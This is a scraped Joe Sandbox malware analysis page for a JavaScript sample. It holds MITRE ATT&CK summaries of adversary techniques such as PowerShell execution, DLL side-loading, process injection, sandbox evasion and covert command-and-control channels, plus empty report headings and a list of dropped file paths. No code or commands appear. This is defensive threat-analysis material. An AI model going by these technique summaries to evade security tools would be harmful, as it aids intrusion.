Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1026278051441931198.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5dd185da-806b-4822-93c0-933e00df4ee6.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5636

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1026278051441931198.js